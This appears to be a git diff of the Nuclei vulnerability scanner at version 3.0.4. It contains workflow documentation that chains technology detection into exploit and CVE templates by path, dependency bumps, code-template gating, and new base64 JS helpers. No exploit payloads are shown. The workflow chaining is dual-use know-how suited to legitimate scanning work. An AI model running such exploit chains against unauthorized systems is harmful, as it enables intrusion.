You can also create conditional templates which execute after matching the condition from a previous template. This is mostly useful for vulnerability detection and exploitation as well as tech based detection and exploitation. Use-cases for this kind of workflows are vast and varied.
|
||||
|
||||
**Templates based condition check**
|
||||
|
||||
A workflow that executes subtemplates when base template gets matched.
|
||||
|
||||
```yaml
|
||||
workflows:
|
||||
- template: http/technologies/jira-detect.yaml
|
||||
subtemplates:
|
||||
- tags: jira
|
||||
- template: exploits/jira/
|
||||
```
|
||||
|
||||
**Matcher Name based condition check**
|
||||
|
||||
A workflow that executes subtemplates when a matcher of base template is found in result.
|
||||
|
||||
```yaml
|
||||
workflows:
|
||||
- template: http/technologies/tech-detect.yaml
|
||||
matchers:
|
||||
- name: vbulletin
|
||||
subtemplates:
|
||||
- template: exploits/vbulletin-exp1.yaml
|
||||
- template: exploits/vbulletin-exp2.yaml
|
||||
- name: jboss
|
||||
subtemplates:
|
||||
- template: exploits/jboss-exp1.yaml
|
||||
- template: exploits/jboss-exp2.yaml
|
||||
```
|
||||
|
||||
In similar manner, one can create as many and as nested checks for workflows as needed.
|
||||
|
||||
**Subtemplate and matcher name based multi level conditional check**
|
||||
|
||||
A workflow showcasing chain of template executions that run only if the previous templates get matched.
|
||||
|
||||
|
||||
```yaml
|
||||
workflows:
|
||||
- template: http/technologies/tech-detect.yaml
|
||||
matchers:
|
||||
- name: lotus-domino
|
||||
subtemplates:
|
||||
- template: http/technologies/lotus-domino-version.yaml
|
||||
subtemplates:
|
||||
- template: http/cves/2020/xx-yy-zz.yaml
|
||||
subtemplates:
|
||||
- template: http/cves/2020/xx-xx-xx.yaml
|
||||
```
|
||||
|
||||
Conditional workflows are great examples of performing checks and vulnerability detection in most efficient manner instead of spraying all the templates on all the targets and generally come with good ROI on your time and is gentle for the targets as well.
|
||||
|
||||
### Shared Execution Context
|
||||
|
||||
Nuclei engine supports transparent workflow cookiejar and key-value sharing across templates parts of a same workflow. Here follow an example of a workflow that extract a value from the first template and use it in the second conditional one:
|
||||
|
||||
```yaml
|
||||
id: key-value-sharing-example
|
||||
info:
|
||||
name: Key Value Sharing Example
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
workflows:
|
||||
- template: template-with-named-extractor.yaml
|
||||
subtemplates:
|
||||
- template: template-using-named-extractor.yaml
|
||||
```
|
||||
|
||||
For example, the following templates extract `href` links from a target web page body and make the value available under the `extracted` key:
|
||||
|
||||
```yaml
|
||||
# template-with-named-extractor.yaml
|
||||
|
||||
id: value-sharing-template1
|
||||
|
||||
info:
|
||||
name: value-sharing-template1
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- path:
|
||||
- "{{BaseURL}}/path1"
|
||||
extractors:
|
||||
- type: regex
|
||||
part: body
|
||||
name: extracted
|
||||
regex:
|
||||
- 'href="(.*)"'
|
||||
group: 1
|
||||
```
|
||||
|
||||
Finally the second template in the workflow will use the obtained value by referencing the extractor name (`extracted`):
|
||||
|
||||
```yaml
|
||||
# template-using-named-extractor.yaml
|
||||
|
||||
id: value-sharing-template2
|
||||
|
||||
info:
|
||||
name: value-sharing-template2
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET /path2 HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
{{extracted}}
|
||||
```
|
||||
|
||||
More complete workflow examples are provided [here](/template-example/workflow)
|
||||
22
go.mod
@ -21,12 +21,12 @@ require (
|
||||
github.com/olekukonko/tablewriter v0.0.5
|
||||
github.com/pkg/errors v0.9.1
|
||||
github.com/projectdiscovery/clistats v0.0.19
|
||||
github.com/projectdiscovery/fastdialer v0.0.42
|
||||
github.com/projectdiscovery/hmap v0.0.23
|
||||
github.com/projectdiscovery/fastdialer v0.0.43
|
||||
github.com/projectdiscovery/hmap v0.0.24
|
||||
github.com/projectdiscovery/interactsh v1.1.7
|
||||
github.com/projectdiscovery/rawhttp v0.1.23
|
||||
github.com/projectdiscovery/retryabledns v1.0.40
|
||||
github.com/projectdiscovery/retryablehttp-go v1.0.33
|
||||
github.com/projectdiscovery/rawhttp v0.1.25
|
||||
github.com/projectdiscovery/retryabledns v1.0.42
|
||||
github.com/projectdiscovery/retryablehttp-go v1.0.35
|
||||
github.com/projectdiscovery/yamldoc-go v1.0.4
|
||||
github.com/remeh/sizedwaitgroup v1.0.0
|
||||
github.com/rs/xid v1.5.0
|
||||
@ -79,14 +79,14 @@ require (
|
||||
github.com/praetorian-inc/fingerprintx v1.1.9
|
||||
github.com/projectdiscovery/dsl v0.0.27
|
||||
github.com/projectdiscovery/fasttemplate v0.0.2
|
||||
github.com/projectdiscovery/goflags v0.1.25
|
||||
github.com/projectdiscovery/goflags v0.1.26
|
||||
github.com/projectdiscovery/gologger v1.1.11
|
||||
github.com/projectdiscovery/gostruct v0.0.1
|
||||
github.com/projectdiscovery/gostruct v0.0.2
|
||||
github.com/projectdiscovery/gozero v0.0.1
|
||||
github.com/projectdiscovery/httpx v1.3.5
|
||||
github.com/projectdiscovery/mapcidr v1.1.12
|
||||
github.com/projectdiscovery/httpx v1.3.6
|
||||
github.com/projectdiscovery/mapcidr v1.1.15
|
||||
github.com/projectdiscovery/n3iwf v0.0.0-20230523120440-b8cd232ff1f5
|
||||
github.com/projectdiscovery/ratelimit v0.0.13
|
||||
github.com/projectdiscovery/ratelimit v0.0.14
|
||||
github.com/projectdiscovery/rdap v0.9.1-0.20221108103045-9865884d1917
|
||||
github.com/projectdiscovery/sarif v0.0.1
|
||||
github.com/projectdiscovery/tlsx v1.1.6-0.20231016194953-a3ff9518c766
|
||||
@ -178,7 +178,7 @@ require (
|
||||
github.com/pelletier/go-toml/v2 v2.0.8 // indirect
|
||||
github.com/pjbgf/sha1cd v0.3.0 // indirect
|
||||
github.com/pkg/browser v0.0.0-20210911075715-681adbf594b8 // indirect
|
||||
github.com/projectdiscovery/asnmap v1.0.5 // indirect
|
||||
github.com/projectdiscovery/asnmap v1.0.6 // indirect
|
||||
github.com/projectdiscovery/cdncheck v1.0.9 // indirect
|
||||
github.com/projectdiscovery/freeport v0.0.5 // indirect
|
||||
github.com/quic-go/quic-go v0.38.1 // indirect
|
||||
|
||||
48
go.sum
@ -315,8 +315,8 @@ github.com/frankban/quicktest v1.14.4/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7z
|
||||
github.com/free5gc/util v1.0.5-0.20230511064842-2e120956883b h1:XMw3j+4AEXLeL/uyiZ7/qYE1X7Ul05RTwWBhzxCLi+0=
|
||||
github.com/free5gc/util v1.0.5-0.20230511064842-2e120956883b/go.mod h1:l2Jrml4vojDomW5jdDJhIS60KdbrE9uPYhyAq/7OnF4=
|
||||
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
|
||||
github.com/fsnotify/fsnotify v1.5.4 h1:jRbGcIw6P2Meqdwuo0H1p6JVLbL5DHKAKlYndzMwVZI=
|
||||
github.com/fsnotify/fsnotify v1.5.4/go.mod h1:OVB6XrOHzAwXMpEM7uPOzcehqUV2UqJxmVXmkdnm1bU=
|
||||
github.com/fsnotify/fsnotify v1.6.0 h1:n+5WquG0fcWoWp6xPWfHdbskMCQaFnG6PfBrh1Ky4HY=
|
||||
github.com/fsnotify/fsnotify v1.6.0/go.mod h1:sl3t1tCWJFWoRz9R8WJCbQihKKwmorjAbSClcnxKAGw=
|
||||
github.com/gabriel-vasile/mimetype v1.4.2 h1:w5qFW6JKBz9Y393Y4q372O9A7cUSequkh1Q7OhCmWKU=
|
||||
github.com/gabriel-vasile/mimetype v1.4.2/go.mod h1:zApsH/mKG4w07erKIaJPFiX0Tsq9BFQgN3qGY5GnNgA=
|
||||
github.com/gaukas/godicttls v0.0.4 h1:NlRaXb3J6hAnTmWdsEKb9bcSBD6BvcIjdGdeb0zfXbk=
|
||||
@ -783,8 +783,8 @@ github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c h1:ncq/mPwQF
|
||||
github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c/go.mod h1:OmDBASR4679mdNQnz2pUhc2G8CO2JrUAVFDRBDP/hJE=
|
||||
github.com/praetorian-inc/fingerprintx v1.1.9 h1:zWbG/Fdan0s/dvXkeaHb/CdFTz/yEEzrAF4iCzok3r8=
|
||||
github.com/praetorian-inc/fingerprintx v1.1.9/go.mod h1:k6EJIHe/Da4DH5e4JuoZHe+qSGq/KPUmXGaK+xW74OI=
|
||||
github.com/projectdiscovery/asnmap v1.0.5 h1:euWZuyLUkWhRMi8x3b4JXvKBDU9qRIcrh6p9BtYe4LM=
|
||||
github.com/projectdiscovery/asnmap v1.0.5/go.mod h1:7YUiCMshTEKzPlV1kgVp7l6Z7ZrAvxH6ufYq5mNnurY=
|
||||
github.com/projectdiscovery/asnmap v1.0.6 h1:NZj1hybBf4KF/hMCgJ6E2GXCe60tg5fIRkexEIU+0og=
|
||||
github.com/projectdiscovery/asnmap v1.0.6/go.mod h1:cXQjWMgxkl+8A4861Nms9u+ASxQLTb47imJD+AyX+dU=
|
||||
github.com/projectdiscovery/blackrock v0.0.1 h1:lHQqhaaEFjgf5WkuItbpeCZv2DUIE45k0VbGJyft6LQ=
|
||||
github.com/projectdiscovery/blackrock v0.0.1/go.mod h1:ANUtjDfaVrqB453bzToU+YB4cUbvBRpLvEwoWIwlTss=
|
||||
github.com/projectdiscovery/cdncheck v1.0.9 h1:BS15gzj9gb5AVSKqTDzPamfSgStu7nJQOocUvrssFlg=
|
||||
@ -793,42 +793,42 @@ github.com/projectdiscovery/clistats v0.0.19 h1:SA/qRHbmS9VEbVEPzX/ka01hZDYATL9Z
|
||||
github.com/projectdiscovery/clistats v0.0.19/go.mod h1:NQDAW/O7cK9xBIgk46kJjwGRkjSg5JkB8E4DvuxXr+c=
|
||||
github.com/projectdiscovery/dsl v0.0.27 h1:7JosPkZi7l6wHn4ojxjZRqFIh58d5z2V/ZSDfvBEXDI=
|
||||
github.com/projectdiscovery/dsl v0.0.27/go.mod h1:jYku7Nu5FvlidS0+QNmh2I/UMvemf37bkWMKEU+SZ00=
|
||||
github.com/projectdiscovery/fastdialer v0.0.42 h1:O8YKG1bsMMOLbnt8k5B37sWqGOgHmvtlVuFBkIBU7Gg=
|
||||
github.com/projectdiscovery/fastdialer v0.0.42/go.mod h1:SMsoaA9W25A55fqj18ibUD/yCSfhPsaq11ATXGD9aXg=
|
||||
github.com/projectdiscovery/fastdialer v0.0.43 h1:tL1Ivcx4XVJ5hjPA0OoXy8P3TB5paPTnRjkOm/DSLNs=
|
||||
github.com/projectdiscovery/fastdialer v0.0.43/go.mod h1:pPYldB5+HwlRNB69vHOUBx/Uk0NBcSw1y4z3UZyPOiU=
|
||||
github.com/projectdiscovery/fasttemplate v0.0.2 h1:h2cISk5xDhlJEinlBQS6RRx0vOlOirB2y3Yu4PJzpiA=
|
||||
github.com/projectdiscovery/fasttemplate v0.0.2/go.mod h1:XYWWVMxnItd+r0GbjA1GCsUopMw1/XusuQxdyAIHMCw=
|
||||
github.com/projectdiscovery/freeport v0.0.5 h1:jnd3Oqsl4S8n0KuFkE5Hm8WGDP24ITBvmyw5pFTHS8Q=
|
||||
github.com/projectdiscovery/freeport v0.0.5/go.mod h1:PY0bxSJ34HVy67LHIeF3uIutiCSDwOqKD8ruBkdiCwE=
|
||||
github.com/projectdiscovery/goflags v0.1.25 h1:nHXKo464RW7qzyeRMGEtHmsySWw2Cl1tqK5c5nlSnLk=
|
||||
github.com/projectdiscovery/goflags v0.1.25/go.mod h1:EhPEodSIWQkoPXtK80o2yY5xjfE+KNSLrKcLM02y9tw=
|
||||
github.com/projectdiscovery/goflags v0.1.26 h1:o3bFCN5CIYJoLUl/uyKHjXZKkITaBrGPVJ8hg2KErKE=
|
||||
github.com/projectdiscovery/goflags v0.1.26/go.mod h1:SgLaQOTHspoYYCyhJEmWQZxbeAFGUfMKyultrRsAFYo=
|
||||
github.com/projectdiscovery/gologger v1.1.11 h1:8vsz9oJlDT9euw6xlj7F7dZ6RWItVIqVwn4Mr6uzky8=
|
||||
github.com/projectdiscovery/gologger v1.1.11/go.mod h1:UR2bgXl7zraOxYGnUwuO917hifWrwMJ0feKnVqMQkzY=
|
||||
github.com/projectdiscovery/gostruct v0.0.1 h1:1KvR6Pn4mDbQqoLEQzhRfHpbreLno2R9xqRCCt5tgmU=
|
||||
github.com/projectdiscovery/gostruct v0.0.1/go.mod h1:H86peL4HKwMXcQQtEa6lmC8FuD9XFt6gkNR0B/Mu5PE=
|
||||
github.com/projectdiscovery/gostruct v0.0.2 h1:s8gP8ApugGM4go1pA+sVlPDXaWqNP5BBDDSv7VEdG1M=
|
||||
github.com/projectdiscovery/gostruct v0.0.2/go.mod h1:H86peL4HKwMXcQQtEa6lmC8FuD9XFt6gkNR0B/Mu5PE=
|
||||
github.com/projectdiscovery/gozero v0.0.1 h1:f08ZnYlbDZV/TNGDvIXV9s/oB/sAI+HWaSbW4em4aKM=
|
||||
github.com/projectdiscovery/gozero v0.0.1/go.mod h1:/dHwbly+1lhOX9UreVure4lEe7K4hIHeu/c/wZGNTDo=
|
||||
github.com/projectdiscovery/hmap v0.0.23 h1:tV/5gQuabE2nqDMS55vrd3HQYdwTuRJAm49nGu3DVl4=
|
||||
github.com/projectdiscovery/hmap v0.0.23/go.mod h1:DYt1/UjEPA4vw6sk3PY8UB34ZnvXrDC3PQ+LBpkNlOA=
|
||||
github.com/projectdiscovery/httpx v1.3.5 h1:opyRTMsi9ccNptOnTin4Dp2NTmLC9ewgVjG8+q+luhM=
|
||||
github.com/projectdiscovery/httpx v1.3.5/go.mod h1:pqhzh944aK7Lm9LbWnf146jse89YILK/Pp+b2dNMJqE=
|
||||
github.com/projectdiscovery/hmap v0.0.24 h1:aPyHltkfOUmVu9LcT2WguHf0nV5IbGlyo8fjbU64YEk=
|
||||
github.com/projectdiscovery/hmap v0.0.24/go.mod h1:NDjO7SdmdCUznX43xUvlIINOFX4B/t6yCiUGGGXBuHk=
|
||||
github.com/projectdiscovery/httpx v1.3.6 h1:VQSDkMhjtuPmMoR/pRTFPYkI+S3Ak4fU6tOu+RDJD08=
|
||||
github.com/projectdiscovery/httpx v1.3.6/go.mod h1:i0hXVN+P5vH3jlwSZTbCxqucSyWKmuStdQeYx4fhw9M=
|
||||
github.com/projectdiscovery/interactsh v1.1.7 h1:rK+eKklyM+4qaLS+1MgtHDvrHdAnSTMx/Ezd62pWNL8=
|
||||
github.com/projectdiscovery/interactsh v1.1.7/go.mod h1:WYxbcV0fz3LMf83mugCYo5VUsBb4nfIdAVK6GVJhobs=
|
||||
github.com/projectdiscovery/mapcidr v1.1.12 h1:hVgTpEAeLhYixDPdcDXaL2MXK3q+3rFdxAoCgbPLxIc=
|
||||
github.com/projectdiscovery/mapcidr v1.1.12/go.mod h1:hIRTgZEnI7+moVgeipU6A5yv3o+VrUw0tE/3GJw3Y2Y=
|
||||
github.com/projectdiscovery/mapcidr v1.1.15 h1:rYAgxLvMyxPU0JunE/Y3uSK1n/TcNJHK839d6YM0ms4=
|
||||
github.com/projectdiscovery/mapcidr v1.1.15/go.mod h1:s9erRsoZqWcLGhJW+WT1SnbscqzhHRRnSX916xBw5ZM=
|
||||
github.com/projectdiscovery/n3iwf v0.0.0-20230523120440-b8cd232ff1f5 h1:L/e8z8yw1pfT6bg35NiN7yd1XKtJap5Nk6lMwQ0RNi8=
|
||||
github.com/projectdiscovery/n3iwf v0.0.0-20230523120440-b8cd232ff1f5/go.mod h1:pGW2ncnTxTxHtP9wzcIJAB+3/NMp6IiuQWd2NK7K+oc=
|
||||
github.com/projectdiscovery/networkpolicy v0.0.6 h1:yDvm0XCrS9HeemRrBS+J+22surzVczM94W5nHiOy/1o=
|
||||
github.com/projectdiscovery/networkpolicy v0.0.6/go.mod h1:8HJQ/33Pi7v3a3MRWIQGXzpj+zHw2d60TysEL4qdoQk=
|
||||
github.com/projectdiscovery/ratelimit v0.0.13 h1:wB1tbxsMx7yJC0jtTBc6sR5n0SDCASiVD3RRffPTIFU=
|
||||
github.com/projectdiscovery/ratelimit v0.0.13/go.mod h1:Zj1Hf9aYzD8FjPwMNbLAEkDJNi5ro9EtSus2e8/9Abs=
|
||||
github.com/projectdiscovery/rawhttp v0.1.23 h1:j5QwJBR1G7Xx4lw62IsIf5+9F7Ywtt76DB6W2lMRJ+I=
|
||||
github.com/projectdiscovery/rawhttp v0.1.23/go.mod h1:VP3RbSitMZCeohVcxFGvW/LFMaX9H4GxZMiuiVwV8cU=
|
||||
github.com/projectdiscovery/ratelimit v0.0.14 h1:kzDU/nupb6yHME5qSJ4bSVb34Hixg2tDP78C2mA+kxY=
|
||||
github.com/projectdiscovery/ratelimit v0.0.14/go.mod h1:MLQg9jXu4yfxtwjP7pCZWOst15M9hoOphU79i+7fh4c=
|
||||
github.com/projectdiscovery/rawhttp v0.1.25 h1:jII+d4zG30jdNBXEaEZNRYCii+6A14yoGgIuJBgr6mI=
|
||||
github.com/projectdiscovery/rawhttp v0.1.25/go.mod h1:LIfd1ZREpCG3nfancESQRNLuHLelbhlxMuToh3y74XE=
|
||||
github.com/projectdiscovery/rdap v0.9.1-0.20221108103045-9865884d1917 h1:m03X4gBVSorSzvmm0bFa7gDV4QNSOWPL/fgZ4kTXBxk=
|
||||
github.com/projectdiscovery/rdap v0.9.1-0.20221108103045-9865884d1917/go.mod h1:JxXtZC9e195awe7EynrcnBJmFoad/BNDzW9mzFkK8Sg=
|
||||
github.com/projectdiscovery/retryabledns v1.0.40 h1:BasP4PSL9oRGghJNiRNQGd5EYM/gySoZQH0i7WKFEsg=
|
||||
github.com/projectdiscovery/retryabledns v1.0.40/go.mod h1:BI0AsUmaWF8k/AjEhDGRekMwqda6IDLI43misQuTdYQ=
|
||||
github.com/projectdiscovery/retryablehttp-go v1.0.33 h1:ysYnfUOEx4K/gC3SRYT7xRQYP/tqHwnSpG5SuC/34qU=
|
||||
github.com/projectdiscovery/retryablehttp-go v1.0.33/go.mod h1:zBlSJQabyxnX8giwjWOPsMhKPacYdMhVoy1XSPPGXIg=
|
||||
github.com/projectdiscovery/retryabledns v1.0.42 h1:i0bHWprdWO83JW3WogOqZo2jg3RByICd50z/odY9fWs=
|
||||
github.com/projectdiscovery/retryabledns v1.0.42/go.mod h1:OBtoWjVuAvhT3hoBggwpYx1maEDggWJQDmp6phv87zI=
|
||||
github.com/projectdiscovery/retryablehttp-go v1.0.35 h1:neiZxP9Dn2rY8VLybr0lJP4ztAkGX5mM7C+Pq2rY0v4=
|
||||
github.com/projectdiscovery/retryablehttp-go v1.0.35/go.mod h1:yO6T+2rhVDrr0vwqHcVTLFz3LbZT2aqyBwCQe8GDsQY=
|
||||
github.com/projectdiscovery/sarif v0.0.1 h1:C2Tyj0SGOKbCLgHrx83vaE6YkzXEVrMXYRGLkKCr/us=
|
||||
github.com/projectdiscovery/sarif v0.0.1/go.mod h1:cEYlDu8amcPf6b9dSakcz2nNnJsoz4aR6peERwV+wuQ=
|
||||
github.com/projectdiscovery/stringsutil v0.0.2 h1:uzmw3IVLJSMW1kEg8eCStG/cGbYYZAja8BH3LqqJXMA=
|
||||
|
||||
@ -1,6 +1,6 @@
|
||||
id: cookiereuse-raw-example
|
||||
info:
|
||||
name: Test CookieReuse RAW Template
|
||||
name: Test Cookie Reuse RAW Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
@ -27,7 +27,6 @@ requests:
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.9
|
||||
|
||||
cookie-reuse: true
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
|
||||
@ -36,7 +36,6 @@ requests:
|
||||
regex:
|
||||
- "Token: '([A-Za-z0-9]+)'"
|
||||
|
||||
cookie-reuse: true
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
|
||||
@ -6,8 +6,7 @@ info:
|
||||
tags: headless
|
||||
|
||||
headless:
|
||||
- cookie-reuse: true
|
||||
steps:
|
||||
- steps:
|
||||
- action: navigate
|
||||
args:
|
||||
url: "{{BaseURL}}/headless1"
|
||||
|
||||
@ -8,5 +8,4 @@ info:
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/http1"
|
||||
cookie-reuse: true
|
||||
- "{{BaseURL}}/http1"
|
||||
@ -8,5 +8,4 @@ info:
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/http2"
|
||||
cookie-reuse: true
|
||||
- "{{BaseURL}}/http2"
|
||||
@ -8,5 +8,4 @@ info:
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/http3"
|
||||
cookie-reuse: true
|
||||
- "{{BaseURL}}/http3"
|
||||
@ -671,6 +671,7 @@ func (r *Runner) displayExecutionInfo(store *loader.Store) {
|
||||
if r.options.Verbose {
|
||||
// only print these stats in verbose mode
|
||||
stats.DisplayAsWarning(parsers.HeadlessFlagWarningStats)
|
||||
stats.DisplayAsWarning(parsers.CodeFlagWarningStats)
|
||||
stats.DisplayAsWarning(parsers.TemplatesExecutedStats)
|
||||
}
|
||||
stats.DisplayAsWarning(parsers.UnsignedWarning)
|
||||
|
||||
@ -319,3 +319,11 @@ func WithSandboxOptions(allowLocalFileAccess bool, restrictLocalNetworkAccess bo
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// EnableCodeTemplates allows loading/executing code protocol templates
|
||||
func EnableCodeTemplates() NucleiSDKOptions {
|
||||
return func(e *NucleiEngine) error {
|
||||
e.opts.EnableCodeTemplates = true
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
@ -35,7 +35,7 @@ import (
|
||||
// applyRequiredDefaults to options
|
||||
func (e *NucleiEngine) applyRequiredDefaults() {
|
||||
if e.customWriter == nil {
|
||||
mockoutput := testutils.NewMockOutputWriter()
|
||||
mockoutput := testutils.NewMockOutputWriter(e.opts.OmitTemplate)
|
||||
mockoutput.WriteCallback = func(event *output.ResultEvent) {
|
||||
if len(e.resultCallbacks) > 0 {
|
||||
for _, callback := range e.resultCallbacks {
|
||||
@ -75,9 +75,12 @@ func (e *NucleiEngine) applyRequiredDefaults() {
|
||||
if e.rateLimiter == nil {
|
||||
e.rateLimiter = ratelimit.New(context.Background(), 150, time.Second)
|
||||
}
|
||||
if e.opts.ExcludeTags == nil {
|
||||
e.opts.ExcludeTags = []string{}
|
||||
}
|
||||
// these templates are known to have weak matchers
|
||||
// and idea is to disable them to avoid false positives
|
||||
e.opts.ExcludeTags = config.ReadIgnoreFile().Tags
|
||||
e.opts.ExcludeTags = append(e.opts.ExcludeTags, config.ReadIgnoreFile().Tags...)
|
||||
|
||||
e.inputProvider = &inputs.SimpleInputProvider{
|
||||
Inputs: []*contextargs.MetaInput{},
|
||||
|
||||
@ -17,7 +17,7 @@ const (
|
||||
CLIConfigFileName = "config.yaml"
|
||||
ReportingConfigFilename = "reporting-config.yaml"
|
||||
// Version is the current version of nuclei
|
||||
Version = `v3.0.3`
|
||||
Version = `v3.0.4`
|
||||
// Directory Names of custom templates
|
||||
CustomS3TemplatesDirName = "s3"
|
||||
CustomGitHubTemplatesDirName = "github"
|
||||
|
||||
@ -51,6 +51,28 @@ type Config struct {
|
||||
configDir string `json:"-"` // Nuclei Global Config Directory
|
||||
}
|
||||
|
||||
// IsCustomTemplate determines whether a given template is custom-built or part of the official Nuclei templates.
|
||||
// It checks if the template's path matches any of the predefined custom template directories
|
||||
// (such as S3, GitHub, GitLab, and Azure directories). If the template resides in any of these directories,
|
||||
// it is considered custom. Additionally, if the template's path does not start with the main Nuclei TemplatesDirectory,
|
||||
// it is also considered custom. This function assumes that template paths are either absolute
|
||||
// or relative to the same base as the paths configured in DefaultConfig.
|
||||
func (c *Config) IsCustomTemplate(templatePath string) bool {
|
||||
customDirs := []string{
|
||||
c.CustomS3TemplatesDirectory,
|
||||
c.CustomGitHubTemplatesDirectory,
|
||||
c.CustomGitLabTemplatesDirectory,
|
||||
c.CustomAzureTemplatesDirectory,
|
||||
}
|
||||
|
||||
for _, dir := range customDirs {
|
||||
if strings.HasPrefix(templatePath, dir) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return !strings.HasPrefix(templatePath, c.TemplatesDirectory)
|
||||
}
|
||||
|
||||
// WriteVersionCheckData writes version check data to config file
|
||||
func (c *Config) WriteVersionCheckData(ignorehash, nucleiVersion, templatesVersion string) error {
|
||||
updated := false
|
||||
|
||||
@ -403,6 +403,12 @@ func (store *Store) LoadTemplatesWithTags(templatesList, tags []string) []*templ
|
||||
if config.DefaultConfig.LogAllEvents {
|
||||
gologger.Print().Msgf("[%v] Headless flag is required for headless template '%s'.\n", aurora.Yellow("WRN").String(), templatePath)
|
||||
}
|
||||
} else if len(parsed.RequestsCode) > 0 && !store.config.ExecutorOptions.Options.EnableCodeTemplates {
|
||||
// donot include 'Code' protocol custom template in final list if code flag is not set
|
||||
stats.Increment(parsers.CodeFlagWarningStats)
|
||||
if config.DefaultConfig.LogAllEvents {
|
||||
gologger.Print().Msgf("[%v] Code flag is required for code protocol template '%s'.\n", aurora.Yellow("WRN").String(), templatePath)
|
||||
}
|
||||
} else if len(parsed.RequestsCode) > 0 && !parsed.Verified && len(parsed.Workflows) == 0 {
|
||||
// donot include unverified 'Code' protocol custom template in final list
|
||||
stats.Increment(parsers.UnsignedWarning)
|
||||
|
||||
40
pkg/js/global/helpers.go
Normal file
@ -0,0 +1,40 @@
|
||||
package global
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
|
||||
"github.com/dop251/goja"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/js/gojs"
|
||||
)
|
||||
|
||||
func registerAdditionalHelpers(runtime *goja.Runtime) {
|
||||
_ = gojs.RegisterFuncWithSignature(runtime, gojs.FuncOpts{
|
||||
Name: "atob",
|
||||
Signatures: []string{
|
||||
"atob(string) string",
|
||||
},
|
||||
Description: "Base64 decodes a given string",
|
||||
FuncDecl: func(call goja.FunctionCall) goja.Value {
|
||||
input := call.Argument(0).String()
|
||||
|
||||
decoded, err := base64.StdEncoding.DecodeString(input)
|
||||
if err != nil {
|
||||
return goja.Null()
|
||||
}
|
||||
return runtime.ToValue(string(decoded))
|
||||
},
|
||||
})
|
||||
|
||||
_ = gojs.RegisterFuncWithSignature(runtime, gojs.FuncOpts{
|
||||
Name: "btoa",
|
||||
Signatures: []string{
|
||||
"bota(string) string",
|
||||
},
|
||||
Description: "Base64 encodes a given string",
|
||||
FuncDecl: func(call goja.FunctionCall) goja.Value {
|
||||
input := call.Argument(0).String()
|
||||
encoded := base64.StdEncoding.EncodeToString([]byte(input))
|
||||
return runtime.ToValue(encoded)
|
||||
},
|
||||
})
|
||||
}
|
||||
@ -172,6 +172,9 @@ func initBuiltInFunc(runtime *goja.Runtime) {
|
||||
return runtime.ToValue(buff.String())
|
||||
},
|
||||
})
|
||||
|
||||
// register additional helpers
|
||||
registerAdditionalHelpers(runtime)
|
||||
}
|
||||
|
||||
// RegisterNativeScripts are js scripts that were added for convenience
|
||||
|
||||
@ -19,13 +19,14 @@ func NewBuffer(call goja.ConstructorCall) interface{} {
|
||||
|
||||
obj.buf = make([]byte, 0)
|
||||
return map[string]interface{}{
|
||||
"Write": obj.Write,
|
||||
"Pack": obj.Pack,
|
||||
"Bytes": obj.Bytes,
|
||||
"String": obj.String,
|
||||
"Len": obj.Len,
|
||||
"Hex": obj.Hex,
|
||||
"Hexdump": obj.Hexdump,
|
||||
"Write": obj.Write,
|
||||
"WriteString": obj.WriteString,
|
||||
"Pack": obj.Pack,
|
||||
"Bytes": obj.Bytes,
|
||||
"String": obj.String,
|
||||
"Len": obj.Len,
|
||||
"Hex": obj.Hex,
|
||||
"Hexdump": obj.Hexdump,
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@ -28,16 +28,16 @@ func Pack(formatStr string, msg interface{}) ([]byte, error) {
|
||||
}
|
||||
format := buildFormatSliceFromStringFormat(formatStr)
|
||||
|
||||
for i, f := range format {
|
||||
if i >= len(args) {
|
||||
break
|
||||
}
|
||||
var idxMsg int
|
||||
for _, f := range format {
|
||||
switch f {
|
||||
case "<", ">", "!":
|
||||
case "h", "H", "i", "I", "l", "L", "q", "Q", "b", "B":
|
||||
switch v := args[i].(type) {
|
||||
switch v := args[idxMsg].(type) {
|
||||
case int64:
|
||||
args[i] = int(v)
|
||||
args[idxMsg] = int(v)
|
||||
}
|
||||
idxMsg++
|
||||
}
|
||||
}
|
||||
return gostruct.Pack(format, args)
|
||||
|
||||
@ -1,6 +1,7 @@
|
||||
package output
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
@ -20,6 +21,7 @@ import (
|
||||
"github.com/projectdiscovery/gologger"
|
||||
"github.com/projectdiscovery/interactsh/pkg/server"
|
||||
"github.com/projectdiscovery/nuclei/v3/internal/colorizer"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/model"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/operators"
|
||||
@ -60,6 +62,7 @@ type StandardWriter struct {
|
||||
severityColors func(severity.Severity) string
|
||||
storeResponse bool
|
||||
storeResponseDir string
|
||||
omitTemplate bool
|
||||
}
|
||||
|
||||
var decolorizerRegex = regexp.MustCompile(`\x1B\[[0-9;]*[a-zA-Z]`)
|
||||
